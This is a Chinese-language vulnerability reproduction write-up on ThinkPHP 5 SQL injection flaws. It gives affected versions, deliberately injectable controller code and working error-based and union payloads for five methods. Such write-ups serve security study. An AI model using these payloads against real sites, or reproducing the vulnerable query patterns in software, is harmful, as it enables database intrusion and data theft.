[复现]Thinkphp5系列漏洞

SQL注入

tp5注入系列都比较鸡肋,只能爆出user()、database()这类最基础的信息,而不能进行子查询,tp5框架采用的PDO机制可以说杜绝了大部分注入,当然也有例外,thinkphp 5.0.10版本sql注入漏洞支持子查询。

parseData方法

本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

测试代码,我这里用的版本是 ThinkPHP 5.0.15

public function index()
    {
        update / insert 方法
        $pass = input("pass/a");
        $res = db("user")->where("id","1")->update(["pass"=>$pass]);
        dump($res);
    }

payload
pass[0]=inc&pass[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&pass[2]=1
[复现]Thinkphp5系列漏洞_第1张图片

parseArrayData方法

本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

update方法注入

    public function index()
    {
        $pass = input("pass/a");
        $res = db("user")->where("id","1")->update(["pass"=>$pass]);
        dump($res);
       
    }

payload
pass[0]=point&pass[1]=1&pass[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&pass[3]=0
[复现]Thinkphp5系列漏洞_第2张图片

parseWhereItem方法

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本 。

select方法注入

    public function index()
    {
        $name = request()->get('name');
        $res = db('user')->where('name','exp',$name)->select();
        dump($res);
    }

payload
name=) union select updatexml(1,concat(0x7e,user(),0x7e),1)--
[复现]Thinkphp5系列漏洞_第3张图片

parseOrder方法

本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。

order方法注入

    public function index()
    {
        $order = input("order");
        $res = db("user")->where(['name'=>'lss'])->order($order)->find();
        dump($res);
    }

payload
order[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
[复现]Thinkphp5系列漏洞_第4张图片

ThinkPHP=5.0.10

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10 。

select方法注入

    public function index()
    {
        $name = input("name/a");
        $res = db("user")->where(['name'=>$name])->select();
        dump($res);
    }

payload
name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,database(),user()--

[复现]Thinkphp5系列漏洞_第5张图片

参考

https://github.com/Mochazz/ThinkPHP-Vuln
https://www.cnblogs.com/wangtanzhi/p/12795610.html

你可能感兴趣的:([复现]Thinkphp5系列漏洞)